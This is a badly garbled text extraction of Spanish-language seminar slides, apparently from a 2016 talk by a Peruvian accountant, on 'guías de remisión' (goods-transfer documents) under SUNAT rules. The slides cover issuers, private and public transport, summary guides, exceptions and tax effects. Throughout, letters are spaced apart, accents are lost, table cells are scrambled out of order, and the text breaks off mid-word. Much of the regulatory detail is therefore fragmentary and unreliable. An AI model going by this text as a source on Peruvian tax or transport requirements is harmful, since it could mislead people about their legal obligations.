1 - Guias de Remisión | Impuestos | Servicios (economía)\n1 - Guias de Remisión\nClaudia Santibañez F\nsimpanSimpan 1 - Guias de Remisión Untuk Nanti\nREM ISI N\nDE BIE N ES\nE x p o s i t o r : C P C C Ju a n D a n i e l\nD v il a\nju a n d a n i e l d a v il a @ g m a i l . c o m\nAb ril 20 1 6\nEx e n ci n\nd e r e s p o n s a b i li d a d\nE s t e d o c u m e n t o c o n s t i t u y e e l e s q u e m a d e u n a e x p o s i c i n o r a l d e ti p o a c a d m i c a y e s t i n c o m p l e t o f u e r a d e l c o n t e x t o d e l a m i s m a . P o r l o t a n t o ,\nn i n g u n a i n f o r m a c i n p r o p o r c i o n a d a p o r e l e x p o s i t o r , n i s u s o p i n i o n e s o a n l i s i s , n i l o s m a t e r i a le s d i s tr i b u i d o s c o m o p a r t e d e e l l a p o d r n s e r u t i li z a d a s\np a r a r e s o lv e r c a s o s e s p e c f i c o s , s in la a d e c u a d a a s e s o r a p r o fe s io n a l , n i p o d r n s e r in te r p r e t a d a s c o m o u n a n tic i p o d e o p in i n p r o fe s i o n a l .\nU tiliz a c i n d e l m a te r i a l p o r te r c e r o s\nS i d e s e a u t i li z a r e s t e m a t e r i a l e n u n a p r e s e n t a c i n o r e p r o d u c ir l o p o r c u a l q u i e r m e d i o , t o t a l o p a r c i a l m e n t e , l e a g r a d e c e r h a c e r r e f e r e n c i a a l o s d a t o s\nd e l a u to r .\nC o n c e p t o s g e n e r a le s\nT r a n s p o r t e n a c io n a l d e c a r g a\np o r v a te r r e s t r e\nIn fr a c c io n e s y s a n c io n e s\ntrib u t a r ia s\nQ U SIG N IF IC A TR A S L A D O DE BIE N E S ?\nIN V O L U C R A D O S EN EL TR A S L A D O D E BIE N E S\nREM ITEN T\n(G e n e ra d o r\ncarg a )\nTR A N S P O R T IS T\nDESTIN A TA R I\nC L A S I F I C A C I N D E L T R A N S P O R T E D E B IE N E S\n1. Por la naturaleza\n2. Por el elemento\n3. Por el mbito:\n4. Por la fuerza que mueve el vehculo: -\nDe Mercancas (bienes):\nfraccionada y a granel).\nproductos peligrosos (gases, lquidos,\nexplosivos, radio, residuos peligrosos, etc.).\nEspecializada (de equipos y maquinaria que\nexceden los pesos y medidas reglamentarios).\nDe minerales (Concentrados, metlicos y no\nDe productos perecibles.\nValores / dinero.\nMixto (personas y mercancas).\nUrbano (interior de una provincia).\nNacional (entre ciudades de un mismo o de\nInternacional (su ruta discurre parcialmente por\nNA CIO N A L\nDE CA R G A\nPO R VIA\nQ U ES U N A G U A D E RE M IS I N ?\nAU T O R IZ A\nOBLIG A TO R IA\nIM P O R T A N TE :\nco m pro bante\nC U L E S SO N LO S RIE S G O S DE NO CO N T R O L A\nAD E C U A D A M E N T E LA S GU A S DE RE M IS I N ?\nE x is t e n d iv e r s o s r ie s g o s :\no p e ra cio n e s\nfa c tu ra d a s ,\n(ve n ta s\nbie n e s\ne n tre g a d o s\nsin c o n o cim ie n to d e l p e rs o n a l a\nc a r g o , e tc ..)\ntrib u ta ria s\ns a n cio n e s\nS U N A T (c o m is o y / o m u l t a s ) .\nC o n t r o l in t e r n o e n g e n e r a l .\nM O D A LID A D ES\nTR A S LA D O\nDE BIEN ES\nM O D A LID A D E S DE TR A S L A D O\nEs ta s so n :\nTR A N S P O R T E PR IV A D O\nTR A N S P O R T E PU B LIC O\nE s t o s e h a c e c o n la fi n a lid a d d e e s t a b le c e r\nq u s u je to s e s t n o b lig a d o s a e m itir la s\nG u a s d e R e m is i n y e n q u c a s o s , y p o r lo\nq u e es te p u n to es fu n d a m e n ta l.\nM O D A L ID A D E S D E TR A S L A D O\nD E BIE N E S\nVe h ic u lo\nPU B LIC O\nR e m it e n t e - G R R\nR e m it e n t e\nTr a n s p o r t i s t a GRT\nQ U ES EL TR A N S P O R T E PR IV A D O\nE s lle v a d o a c a b o p o r e m p r e s a s c u y a fin a lid a d p r in c ip a l\nn o e s el tra n s p o r t e .\nE s u n c o m p le m e n t o n e c e s a rio o a d e c u a d o, s e g n s e a el\nc a s o , p a ra\nel c orre cto\np r i n c ip a l .\nQ U CO N D IC IO N E S SE DE B E N CU M P L IR\nPA R A QU E SE DE EL TR A N S P O R T E PR IV A D O ?\nL o s b ie n e s\nD e b e r n p e rt e n e c e r a la e m p r e s a o h a b e r s id o v e n d id o s , c o m p r a d o s ,\ng e s t io n a d o s u c o m p r a o v e n t a , d a d o s o t o m a d o s e n a r r e n d a m ie n t o , p ro d u c id o s ,\ne x t ra d o s , t ra n s p o r t a d o s o re c u p e r a d o s p o r e lla s .\nve h c u lo s\nD e b e n s e r v ir e x c lu s i v a m e n t e p a r a c o n d u c i r l o s\nb ie n e s a la e m p re s a o\ne s t a b le c im i e n t o o p a ra d e s p l a z a r l a s a fin d e a t e n d e r a s u s p ro p ia s fu n c i o n e s .\nP u e d e n se r (T a m b i n a p lic a b le a l T r a n s p o r t e P b lic o ) :\nD e p ro p ie d a d d e la e m p r e s a , o\nC o n t r a t a d o s e n a r r e n d a m i e n t o f i n a n c ie r o u o p e r a t iv o\ns u p e r v is a d a p o r la S B S y / o C O N A S E V.\nEl co s to del\nA l q u i l e r o p e r a t i v o : Tr a s l a d o d e n t r o d e l m b it o p r o v i n c i a l p a r a e l r e p a r t o o\nd is t r i b u c i n e x c lu s i v a d e b ie n e s e n v e h c u l o s d e p r o p i e d a d d e l f a b r i c a n t e o\np r o d u c t o r d e l o s b i e n e s r e p a r t id o s o d is t r ib u id o s , t o m a d o s e n a r r e n d a m i e n t o\np o r e l q u e re a liz a la a c t iv id a d d e re p a r t o o d is t r ib u c i n\nE l t ra n s p o r t e n o p u e d e s e r c o n t r a t a d o n i fa c t u r a d o e n fo r m a in d e p e n d ie n t e .\nE l c o s to d e l m is m o d e b e in c o r p o ra r s e\na l p re cio d e los\no b j e t o d e la a c t iv id a d p rin c ip a l q u e re a lic e la e m p r e s a .\npro d ucto s o\nQ U ES EL TR A N S P O R T E PU B L IC O ?\nE n e s t a m o d a l i d a d d e b e n c o n c u r r i r lo s s i g u i e n t e s h e c h o s :\nPre s ta c i n d e\nu n s e r v i c i o d e t ra n s p o r t e .\nE l s e r v icio d e tra n s p o rte tie n e q u e s e r p r e s ta d o p o r\nte r c e r o s .\nD e b e s e r re t r i b u i d o e n fo r m a e c o n m i c a .\nQ U I N E S PU E D E N PR E S T A R EL\nSE R V IC IO DE TR A N S P O R T E PU B L IC O ?\nE s te se r v ic io p u e d e se r p re s ta d o p o r :\nd e d ic a d a s\na c t i v i d a d d e tr a n s p o r t e y,\nP o r e m p r e s a s o p e r s o n a s n o d e d ic a d a s a\ne s ta a c tiv id a d .\nE s d e c ir q u e e n\nc u a lq u ie ra ,\nd istin to\nd e d ic a d o s\ntra n s p o rte,\ntra n s p o rte d e lo s b ie n e s , s e r c o n s id e ra d o\ntr a n s p o r t i s t a .\nDE GU A S DE\nREM IS I N\nEN TR A N S P O R T E PR IV A D O\nS e e m it e u n a ( 0 1 )\nG u a d e R e m i s i n :\nPR IV A D O\ns o la\n1 .- L A G U A D E R E M I S I N\nR E M I T E N T E . L a e m it e e l\nR E M ITE N TE,\nd e b e r e m it ir u n a G u a\nR e m is i n\nd e s t in o a l q u e e n v i lo s\nb ie n e s .\nD o c u m e n t o s a d ic io n a le s p o r b ie n e s\ns u j e t o s a la D e t r a c c i n\nt ra s l a d o d e :\ntra t e\nAz ca r\nA lc o h o l e t l i c o\nC o n s t a n c ia\nd e p s it o\nD e tra cci n\nA lg o d n e n ra m a s in\ndes m o ta r y\nA r r o z P ila d o .\nE x c e p c i n , S I\na p li c a\nEN TR A N S P O R T E PU B L IC O\nS e e m it e n d o s\nd e R e m is i n :\n1 .- U n a G U A D E R E M I S I N\nT R A N S P O R T I S T A . L a e m it e\nel T R A N S P O R T I S TA , q u ie n\nd e b e e m it ir u n a G u a d e\nR e m isi n\ncarg a .\n2 .- U n a G U A D E R E M I S I N\nR E M I T E N T E , e m it id a p o r e l\nREM IT E N T E .\nC o n s id e ra c io n e s e s p e c ia le s\nN O A PL IC A A PA R T IR D EL 01 /0 1 /2 0 1 5\nD e c o n f o r m id a d a la R S N 3 4 3 - 2 0 1 4 / S U N A T p u b lic a d a e l\n12.1 1 .1 4\nC u a n d o s e tra s la d e :\nE x c e p c i n ,\nS I a p li c a\nA z c a r, A l c o h o l e t l i c o , A l g o d n e n r a m a s i n\nd e s m o t a r y A r r o z P ila d o\nE s O b lig a t o r io : a d e m s d e la G R R , p o rta r la\nc o n s ta n c ia d e l d e p s ito d e la D e tra c c i n d e l\nI G V .\nTR A N S P O RT\nE PU B L IC O\nC u a n d o e l tra n s p o rtista\nu n t e r c e r o :\nS U B C O N T R AT E\nE l te r c e r o d e b e e m it ir la G R -T.\nt ra n s p o r t is t a\nc o n s ig n a r\nQ u i n p a g a e l s e r v ic io d e tra n s p o r t e ? :\nD e n o s e r e l re m ite n te , e s O B L I G AT O R I O\nc o n s ig n a r ra z n s o c ia l y R U C d e l p a g a d o r.\nGRR CUANDO HAY\nS e c o n s i g n a la R a z n S o c i a l y R U C d e l\nt ra n s p o r t i s t a , a u n c u a n d o e l\nt ra n s p o r t i s t a e fe c t i v o s e a\nsu b c o n tr a t a d o\nC o n e s t a in fo r m a c i n la\nG R R y la G R T s e a m a r r a n\nGRT CUANDO HAY\nPA G A D O R D EL SERV I C I O :\nR a z n s o c ia l :\nQ u i e n e m i t e la\nGRT es el\ns u b c o n t r a t a d o\nS e co n s ig n a\nc o n s i g n a r lo s\nla R a z n\nda to s de\nSo cia l y R U C\nq u i e n le p a g a\nsu s se rv ic io s ,\nt ra n s p o r t i s t a\ne n e ste ca s o ,\nsu b c o n tr a t\nS o l o s e e m i t e la G u a d e R e m i s i n\nTr a n s p o r t i s t a\nE n lo s s i g u i e n t e s c a s o s :\nS u je t o s n o o b lig a d o s a e m it ir c o m p r o b a n t e s d e p a g o o\ng u a d e re m is i n .\nL a s p e r s o n a s n a t u r a l e s p o r l a s c u a l e s s e e s t o b li g a d o a\ne m it ir L iq u i d a c io n e s d e C o m p r a .\nL a s p e r s o n a s o b li g a d a s a e m it ir re c ib o s p o r h o n o r a r io s .\nD a to s O B L I G A T O R I O S a co n s ig n a r en G R - T p o r ca d a\nREM IT EN TE :\nIn f o r m a c i n d e lo s b ie n e s : c a n t id a d , U M y p e s o .\nN d e la b o le t a d e v e n t a e m i t i d a p o r e l s e r v i c io d e tra n s p o r t e .\nM o n t o d e l fle t e c o b r a d o .\nAP L IC A EN LA GR T -R E S U M E N\nES P E C IA LE S\nG u a d e R e m is i n\nR e m it e n t e RE S M EN\nTr a n s p o r t i s t a RE S M EN\nFa c t u r a - G u a d e\nTa m b i n a p lic a a :\nL iq u id a c i n d e\nC om p ra\nGU A S DE\nREM ITEN TE\nG U A DE RE M IS I N RE M IT E N T E - RE S M E\nPREM ISA S :\ntra s la d o\np ro d u cto\no p e ra cio ne s d e ve nta se\npu e d e susten tar co n u n a\nRe m it e n t e Re s m e n .\nE l tra n s p o rte\npriv a d o o p b lic o .\nS o l o s i la v e n t a e s c o n\nB o le ta d e Ve n ta , d e b e s e r\npro v in c ia\nC O N S IG N A R e n el rub ro "D A T O S\nD EL BIE N TR A N S P O R T A D O\n1 . N rs d e la s Fa c tu ra s y / o B o le ta s d e\nVe n ta .\n2 . D i r e c c i n d e l p u n t o d e ll e g a d a d e\nd e s t in a t a r io )\nOB LIG A TO R IO\nLLE V A R D U R A N T E EL TR A S L A D O\nE l o ri g i n a l y la c o p ia S U N AT d e la s Fa c t u ra s\nR e p r e se n t a ci n\nim pre sa\nE le c t r n i c a\nL a c o p i a a d q u i re n te d e la s B o l e ta s d e Ve n t a\no la re p r e s e n t a ci n i m p r e s a d e l a B o le t a d e\nVe n t a E le c t r n ic a , q u e c o n t e n g a : A p e lli d o s y\nn o m b r e s d e l a d q u i r e n t e , D o c . d e i d e n ti d a d ,\nD ir e c c i n d e l p u n t o d e lle g a d a\nC a s o e s p e c i a l : S i h a y u n s o l o d e s t in a t a r io y v a r io s p u n t o s d e\nlle g a d a , b a s t a u n a s o la G R - R c o n e l d e t a l le d e T O D O S lo s p u n t o s\nd e lle g a d a .\nGRR - RESMEN\nN o se co n s ig n a\nA Q U s in o\nF T, B / V, L / C N X X X X X X P u n t o d e L le g a d a 1 :\nXXX X X X X X X X X X X X X X X\nF T, B / V, L / C N X X X X X X P u n t o d e L le g a d a 2 :\nF T, B / V, L / C N X X X X X X P u n t o d e L le g a d a 3 :\nD e un R E M IT E N T E\nH a c ia v a r io s\nD E S T IN A TA R IO S\nNO ES GRR RESMEN!!!!!\nD e t a l l e d e l b ie n - P u n t o d e L le g a d a 1 :\nD e t a l l e d e l b ie n - P u n t o d e L le g a d a 2 :\nD e t a l l e d e l b ie n - P u n t o d e L le g a d a 3 :\nH a c ia U N D E S T I N A T A R I O\nPe r o co n VA R I O S P U N T O S D E\nLLE G A D A\nA RE SU M EN\nU A DE RE M IS I N TR A N S P O R T IS TA - RE S M E\nPRE M IS A S :\np rod u cto\nsig u ie n te s\nTr a s l a d o d e b i e n e s d e\nu n re m ite n te a v a rio s\nd e s t in a t a r io s\nv a rio s re m ite n te s ( m a s\nd e s t in a t a r io s ( * )\nTr a s l a d o d e b i e n e s\np restaci n\ns e r v ic io p o s t a l .\nO b lig a t o r io s a\nco n s ig n a r e n\nN d e la s G R R ,\nLiq u id a ci n\nC o m p ra em itid a\nM o n to d el\nc o b ra d o p o r\nre m i t e n t e\n(*) D e ser m enos de 20,\nd eb er\ne m itirs e\nu n a G R T p o r c a d a re m it e n t e\nfle t e\nGRT - RESMEN\nP ro v i n c i a m a s d is t a n t e\nS e g n G R R , F T, B / V N X X X X X X\nG R R , F T, B / V, L / C N X X X X X X F le t e S / .\nG ,RXRX,X F T, B / V, L / C N X X X X X X F le t e S / .\nX ,X X X\nD e va r io s R E M I T E N T E S\n(> 2 0 )\nG U A D E R E M IS I N TR A N S P O R T IS TA R E S M E N\nE l t ra s l a d o d e e n c o m ie n d a s p o s t a le s r e a l i z a d o p o r\nco n c e s io n a r io s\nR e g la m e n t o d e S e r v i c io s y C o n c e s i o n e s P o s t a l e s , a p r o b a d o\np o r D S N 0 3 2 - 9 3 -T C C\nSu p u e s to\nS i s e re a liz a D E N T R O d e l m b it o d e u n a p r o v in c i a\nC o n la G R - R\nD e n o e x is t ir o b lig a c i n d e e m it ir G R - R :\nC o n e l C d P q u e p e r m it a s u s t e n t a r e l tra s l a d o d e lo s b ie n e s o\nC o n la re p r e s e n t a c i n im p r e s a d e la b o le t a d e v e n t a\ne le c t r n i c a , c o n s ig n a d o la d ir e c c i n d e l p u n t o d e lle g a d a e n\ne l ru b r o "d i r e c c i n d e l c lie n t e .\nC o n la c o p ia e m is o r d e la b o le t a d e v e n t a e m it i d a p o r e l\ns e r v ic io p o s t a l p r e s t a d o , la c u a l d e b e r n c o n t e n e r\na d i c io n a lm e n t e lo s s ig u ie n t e s re q u is it o s :\nA p e l lid o s y n o m b r e s d e lo s u s u a r io s d e l s e r v ic i o p o s t a l.\nT ip o y n m e r o d e s u d o c u m e n t o d e id e n t id a d .\nD ir e c c i n d e l p u n t o d e lle g a d a d e lo s b ie n e s .\nS i s e re a liz a F U E R A d e l m b it o d e u n a p r o v i n c ia\nC o n e l C d P q u e p e r m i t a s u s t e n t a r e l tra s l a d o d e lo s b i e n e s o\nC o n la re p r e s e n t a c i n im p r e s a d e la b o l e t a d e v e n t a e l e c t r n i c a ,\nc o n s i g n a d o la d i r e c c i n d e l p u n t o d e lle g a d a e n e l ru b r o "d i r e c c i n\nd e l c li e n t e .\nC o n la c o p i a e m i s o r d e la b o l e t a d e v e n t a e m i t i d a p o r e l s e r v i c i o\np o s t a l p r e s t a d o , la c u a l d e b e r n c o n t e n e r a d i c i o n a l m e n t e lo s\ns ig u i e n t e s re q u i s i t o s :\nA p e l li d o s y n o m b r e s d e lo s u s u a r i o s d e l s e r v i c i o p o s t a l .\nT i p o y n m e r o d e s u d o c u m e n t o d e id e n t i d a d .\nC o n la G R -T q u e c o n t e n g a a m a n e r a d e re s u m e n , e n e l ru b r o\n"D a t o s d e l b ie n t ra n s p o r t a d o " :\nN u m e r a c i n d e lo s C d P q u e p e r m i t e n s u s t e n t a r e l tra s l a d o d e lo s b ie n e s y / o\nP e s o to t a l d e lo s b ie n e s tra n s p o r t a d o s , p o r c a d a re m i t e n t e .\nFA C T U R A\nFA C T U R A - G U A D E R E M I S I N R E M I T E N T E\nA p lic a b le c u a n d o\nC o m p ra d o r (* )\nPREM ISAS :\nE x c lu s i v a m e n t e p o r v e n t a d e b i e n e s .\nS e d e b e r s u s t e n t a r e l tra s la d o d e lo s b ie n e s c o n :\nE l o r ig in a l y la c o p ia S U N A T d e la fa c t u r a , o\nL a re p r e s e n t a c i n im p r e s a d e la Fa c t u r a E le c t r n ic a .\n( * ) A p l i c a b l e ta m b i n a la v e n t a c o n e n t r e g a a te r c e r o s\nCu a n d o el RE M IT E N T E es el VE N D E D O R\nS i e m p r e q u e c o n t e n g a la s ig u i e n t e\nin f o r m a c i n :\nM a r c a y pla c a d e l ve h c u lo .\nD e tra t a r s e d e u n a c o m b i n a c i n s e\nin d i c a r e l n m e r o d e p l a c a d e l\nc a m i n , re m o l q u e , tra c t o\nre m o l c a d o r y / o s e m i r e m o l q u e ,\nseg n corre s p o n d a .\nD E TR ATA R S E D E UN\nTR A N S P O R T E P B L IC O\nc o n sig n a r\nsig u ie n te\n- D a t o s d e l tra n s p o r t i s t a :\nN o m b r e s y a p e lli d o s\nNu m e ro de R U C .\nra z n\n- D ire c c i n d e l p u n to d e p a rtid a\nN m e r o ( s ) d e lic e n c i a ( s ) d e\nc o n d u c i r.\nD i r e c c i o n e s d e lo s e s t a b l e c i m i e n t o s\nqu e co n s t itu y e n :\nPu n to d e p a r tid a\nP u n t o d e lle g a d a .\n( P u e d e o b via rs e , si e s e l m is m o\nqu e el pu n t o de em is i n ? )\n- D i r e c c i n d e l p u n t o d e lle g a d a\nEN EST E CA S O EL TR A S LA D O PU E D E SER PU B LIC O\nO PRIVA D O\nCu a n d o el RE M IT E N T E es el CO M P R A D O R\nS ie m p r e q u e :\nP r e v i a m e n t e a l t r a s l a d o d e lo s b ie n e s e l v e n d e d o r, a l\nm o m e n to d e e m itir e l co m p r o b a n te d e p a g o ,\nco n s ig n e :\nE l p u n t o d e p a r t id a y d e lle g a d a .\nD a t o s d e l v e h c u l o :\nM a r c a , P la c a ( D e tra ta r s e d e u n a c o m b in a c i n s e\nin d ic a r e l n m e r o d e p la c a d e l c a m i n , r e m o lq u e ,\ntra c t o\nr e m o lc a d o r\ns e m ir e m o lq u e ,\ncorre sp o n d a )\nN u m e r o d e la L ic e n c ia d e C o n d u c i r.\nSO LO AP LIC A EN EL CA S O DEL TR A N S P O R T E\n(N O AC E P T A TR A N S P O R T E P U B L I C O )\nOB LIG A D O\nA EM IT IR\nLA GR -R\nQ U I N ?\nCU N D O ?\nE l p r o p ie t a r io o\np o s e e d o r d e lo s\nb ie n e s a l in ic i o d e l\ntra s l a d o\nE n la tra n s f e r e n c ia d e b ie n e s\nE n la p r e s t a c i n d e s e r v ic io s , q u e in v o l u c r a o n o\ntra n s f o r m a c i n d e l b ie n\nE n la c e s i n e n u s o\nE n la re m is i n e n t r e e s t a b le c im ie n t o s d e u n a\nm is m a e m p r e s a y o t r o s .\nE l c o n s ig n a d o r\nE n la e n t r e g a a l c o n s i g n a t a r i o d e lo s b ie n e s\nd a d o s e n c o n s i g n a c i n y e n la d e v o l u c i n d e\nlo s b ie n e s n o v e n d id o s p o r e l c o n s ig n a t a r io .\nEl pre s ta d o r de\ns e r v i c io s\nE n c a s o s ta le s c o m o :\nre p a r a c i n d e b ie n e s\ns e r v ic i o s d e m a q u il a\nS lo s i la s c o n d ic i o n e s c o n t r a c t u a le s d e l s e r v ic i o\nin c lu y e n e l re c o j o o la e n t r e g a d e lo s b ie n e s e n lo s\na lm a c e n e s o e n e l lu g a r d e s ig n a d o p o r e l\np r o p i e t a r i o o p o s e e d o r d e lo s m is m o s .\nL a a g e n c ia d e a d u a n a\nC u a n d o e l p r o p ie t a r io o c o n s ig n a t a r i o d e lo s b ie n e s le\nh a y a o t o r g a d o m a n d a t o p a r a d e s p a c h a r, d e f in i d o e n la\nL e y G e n e r a l d e A d u a n a s y s u re g la m e n t o .\nE l A lm a c n A d u a n e r o\no re s p o n s a b le\nE n e l c a s o d e tra s l a d o d e b ie n e s c o n s id e r a d o s e n la L e y\nG e n e ra l d e A d u a n a s co m o m e r c a n c a e x tra n je ra\ntra s l a d a d a :\nD e s d e e l P u e r t o o A e r o p u e r t o h a s t a e l A lm a c n\nAdu an e ro.\nD e s d e e l A lm a c n A d u a n e r o h a s t a e l P u e r t o o\nA e ro p u e r to .\nEx c e p c i n :\nE n e l c a s o d e lo s b ie n e s q u e in g r e s a n a l p a s D e s d e\nlo s Te r m in a le s P o r t u a r io s d e l C a ll a o h a s t a lo s\nd e p s it o s te m p o r a le s .\nS ie m p r e q u e e l tra s l a d o s e a s u s t e n t a d o c o n e l "T ic k e t\nd e S a lid a " e m i t i d o p o r e l a d m i n is t r a d o r p o r t u a r io y q u e\nc o n t e n g a la in f o r m a c i n im p r e s a re q u e r id a .\nO B LIG A D O S A EM IT IR G R R\nM U Y IM P O R TA N T E !\nN o s e c o n s id e ra r in fra c to re s a lo s\nre m ite n te s q u e s in s e r p ro p ie ta rio s o\np o s e e d o re s d e lo s b ie n e s a l in ic io\nd e l t r a s l a d o e s t n o b li g a d o s a e m i t ir\nin fra c to r c u a n d o e l\nla G R - R e m ite n te , p o r la s in fra c c io n e s\nre m ite n te\nd e r e m i ti r b i e n e s s i n G R o r e m i ti r l o s\np ro p ie ta rio\nc o n d o c u m e n to s s in lo s re q u is ito s\nle g a le s o q u e n o c o rre s p o n d a n a l\nb ie n e s a l in icio d e l\nr g im e n d e l c o n trib u y e n te o tip o d e\no p e r a c i n ( A r t. 1 7 4 , n u m s . 8 , 9 y 1 0\nde l C T ).\nS O N IN F R A C T O R E S LO S P R O P IE TA R IO S O\nP O S E E D O R E S D E LO S BIE N E S A L IN IC IO D E L\nTR A S LA D O .\nOB LIG A D O S\nN O SE EM IT E N GR RE M IT E N T E\nEN EL TR A N S P O R T E PR IV A D O\nFa c t u r a G u a d e R e m is i n R e m it e n t e .\nL a s B o le t a s d e V e n t a y lo s T ic k e t s : e l t ra s la d o\ne f e c t u a d o p o r lo s p r o p i o s c o n s u m id o r e s fin a l e s .\nV e n t a s itin e r a n t e s ( d e b e n\nb la n c o )\nD ocu m ento\nA d m in is t r a c i n\nC E T I C O S : e s e f e c t u a d o p o r lo s p r o p io s c o m p r a d o r e s ,\nd e s d e e l C E T I C O S Ta c n a h a s t a l a Z o n a C o m e r c i a l d e\nTa c n a .\nTr a s l a d o d e s d e e l t e r m i n a l p o r t u a r i o d e l C a l l a o h a s t a l o s\nd e p s i t o s t e m p o r a l e s , c o n T ic k e t d e S a li d a\ne x h ib ir Fa c t u ra s y / o\nO SE EM IT E N GU A S DE RE M IS I N ALG U N\nRe co jo\ne m b a la je s\nv a c o s\ne ntre g a d o s\nd e s t i n a t a r io s o c lie n t e s , p o r\nr e p o s ic i n\npro d u c to s .\nT ra s la d o\nv e h c u lo s\nin t e r p r o v i n c i a l r e g u l a r d e p a s a j e r o s :\nP a ra c o n s u m id o re s\nbo le t a d e ve n ta\nfin ale s :\nsu sten tar\nP a ra e m p re s a s : s e s u s te n ta r c o n la f a c tu ra d e\nc o m p ra , s i e m p r e q u e e l d e s ti n o s e a l a lo c a li d a d\nd o n d e e s t e l d o m ic ili o fis c a l o u n o d e s u s\nes ta b le c im ie n to s an e x o s\nV e n ta d e n tr o d e u n a m is m a p r o v in c ia\nc o nc erta d a\nI n te r n e t,\nte l fo n o ,\nte l e f a x u o t r o s m e d i o s s i m i l a r e s :\nc o n s u m id o re s\ns u s te n ta r co n b o le ta d e v e n ta o la b o le ta d e\nve n ta ele c t r n ic a\n( r e p r e s e n t a c i n im p r e s a s )\nR e q u is i t o : E l t ra s l a d o d e b e s e r r e a li z a d o e n\nv e h c u l o s n o m o t o ri z a d o s , o e n v e h c u l o s t a l e s\nm o to s,\nm o to n etas,\nm o to cicle ta s,\ntri c i c l o s m o t o r i z a d o s , c u a t r i m o t o s y s im i l a r e s\nE N E L T R A N S P O R T E IN T E R N A C I O N A L\nN o s e e m it e n G R R n i G R T,\nIn d e p e n d ie n t e m e n t e s e a\nP r iv a d o o P b l ic o\nE l t r a n s p o r t e s e r ig e p o r lo s s ig u ie n t e s\nc o n v e n io s in t e r n a c i o n a le s\nA c u e r d o d e A lc a n c e P a r c ia l\nT ra n sp orte\nIn te r n a cio n a l T e rre stre d e\nlo s p a s e s d e l c o n o s u r .\nLos do c u m e n to s qu e su s te n ta n\ne l tra s l a d o d e b i e n e s s o n :\nL a C a r t a d e Po r t e\nIn t e r n a c i o n a l .\nE l M a n if i e s t o In t e r n a c i o n a l\nde Carg a po r\nC a r r e te ra / D e c la ra c i n de\nTr n s i t o A d u a n e r o .\n2) Acu e rd o de Carta g e n a .\nLos do c u m e n to s qu e su s te n ta n el\ntra s l a d o d e b i e n e s s o n :\nL a C a r t a d e Po r t e In t e r n a c i o n a l\npo r C arre te ra .\nE l M a n if i e s t o d e C a r g a\nL a D e c l a r a c i n d e Tr n s i t o\nA d u a n e r o In t e r n a c i o n a l .\nM O TIV O S\nTR A S LA D\nM O T IV O S DE TR A S L A D O\nVe n t a .\nVe n t a s u je t a a\nc o n f ir m a c i n d e l\nc o m p r a d o r.\nVe n t a c o n e n t r e g a\na te r c e r o s\nC o m p ra .\nC o n s ig n a c i n .\nD e v o l u c i n .\nTr a s l a d o e n t r e\ne s t a b le c i m i e n t o s\nd e u n a m is m a\nem p re s a .\nTr a s l a d o d e b ie n e s\np a r a tr a n s f o r m a c i n .\nR e c o j o d e b ie n e s .\nTr a s l a d o p o r e m i s o r\nitin e r a n t e d e\ncom p ro b a n te s de\nTr a s l a d o z o n a\nIm p o r ta c i n .\nE x p o r ta c i n .\nO tro s (se d e b e\ne s p e c ific a r\no b li g a t o r ia m e n t e ) .\nE l de stin a ta rio es el\nte r c e r o d e s i g n a d o p o r\nm i c lie n t e\nEl PU N TO DE\nL L E G A D A e s e l lo c a l\nd e l te r c e r o\nDato s del\nc li e n t e\nR a z n so c ia l\nEs O B L I G A T O R IO\nc o n s i g n a r lo s d a t o s d e\nN O se co n s ig a\nDESTIN A TA R IO\nIn m e d i a t a m e n t e d e s p u s d e re a l i z a d a la v e n t a , d e b e r c o n s i g n a r s e la\nn u m e r a c i n d e lo s c o m p r o b a n t e s d e p a g o e m i t i d o s .\nTra t n d o s e d e l e m is o r e le c t r n ic o\nitin e r a n t e d e C d P, s e s u s t e n t a n ic a m e n t e\nc o n la s g u a s d e re m is i n re s p e c t iv a s .\nSe g n DU A N\nXXX X X X X X X X X\nC u a n d o el R E M IT E N T E es:\nE l p r o p i e t a r i o o c o n s i g n a t a r io , o\nEl A g e n te d e A d u a n a s\nE s o b l i g a t o r io .. .\nA c o m p a a r s e c o n la D U A\nCu a n d o el R E M IT E N T E es el AG E N T E D E\nAD U A N A S :\nT ie n e q u e a c o m p a a r s e c o n la D U A\nC o n s ig n a r s e lo s d a t o s d e l p r o p ie t a r i o o\nco n s ig n a ta r io :\nR a z n s o c ia l o a p e ll id o s y n o m b r e s\nR U C u o t r o t ip o y N r o . d e d o c u m e n t o .\nEFEC TO S\nTR IB U TA R IO\nS D E LO S\nEN LA G R R\nEfecto tributario de las operaciones por las cuales se emite guas de remisin en el\nImpuesto General a las Ventas (IGV) y en el Impuesto a la Renta (IR)\nPuede ser gravada o Ingreso gravado con\nexonerada del IGV.\nDe ser gravada\ngenera dbito fiscal.\nVenta sujeta a\nconfirmacin del confirmarse la venta, confirmarse la venta movimiento Kardex.\nrecin se emite el\nresulta en un ingreso\ngravado con el IR\nSu destino es un\nfiscal del IGV.\ncosto o gasto para\nfines del IR.\nstock. Puede resultar stock. Puede resultar\nImplica una rebaja en Implica una rebaja en\nel dbito fiscal en el\nlos ingresos, es\nIGV. Se debe emitir deducible para el IR\nuna nota de crdito.\ndeclarados en el\nTraslado y recojo Implica la prestacin Resulta en un gasto\nde un servicio, el cual vinculado al costo de\nde bienes para\ngenera crdito fiscal.\nLuego de concretarse Luego de concretarse\nla venta, recin se\nla venta resulta en un\nemite el CdP\ningreso gravado con\nGenera un crdito\nfiscal del IGV, por el\npago en Aduanas.\nSin efecto, no esta\nAl ser un inventario\nen transito requiere\nREQ U IS ITO\nD E LA S LA S\nGR R Y GR T\nG u a d e R e m i s i n Tr a n s p o r t i s t a\nG u a d e R e m is i n R e m it e n t e\nR E G L A S A TO M A R EN\nCU EN TA AN TES,\nDURAN TE Y DESPU ES\nDEL TR A S LA D O\nRE G LA S A TO M A R EN CU E N T A\nAN T E S DE L TR A S L A D O\ne m is i n d e la G R R y la\nG R T, d e s e r e l c a s o , p o r\nv e h c u lo\nb orro n es\nen m e n d a d u ra s ) .\nE l re m it e n t e re t e n d r :\nDe haber m as de un\ntra m o e n e l re c o rrid o ,\nd escarg ue, este de b e\nse r c o n s ig n a d o\nE l re sto d e c o p ia s q u e d a ra n e n\np o d e r d e l tra n s p o r t is t a .\nV e r ific a r\nC u ntas\ne m it e ?\nd e s t in o ( s a lv o G R R - R ) .\nre m it e n t e ( s a lv o G R T - R ) .\n- L a c o p ia e m is o r d e la G R R .\n- E l o rig in a l (re m ite n te ) d e la\nd e s e r tra n s p o rte\np b lic o .\np re s e ntarse\no p e ra c io n e s\nsu je ta s\nd e t r a c c i n ,\nv e r if i c a r\ne m is i n\nC o m p r 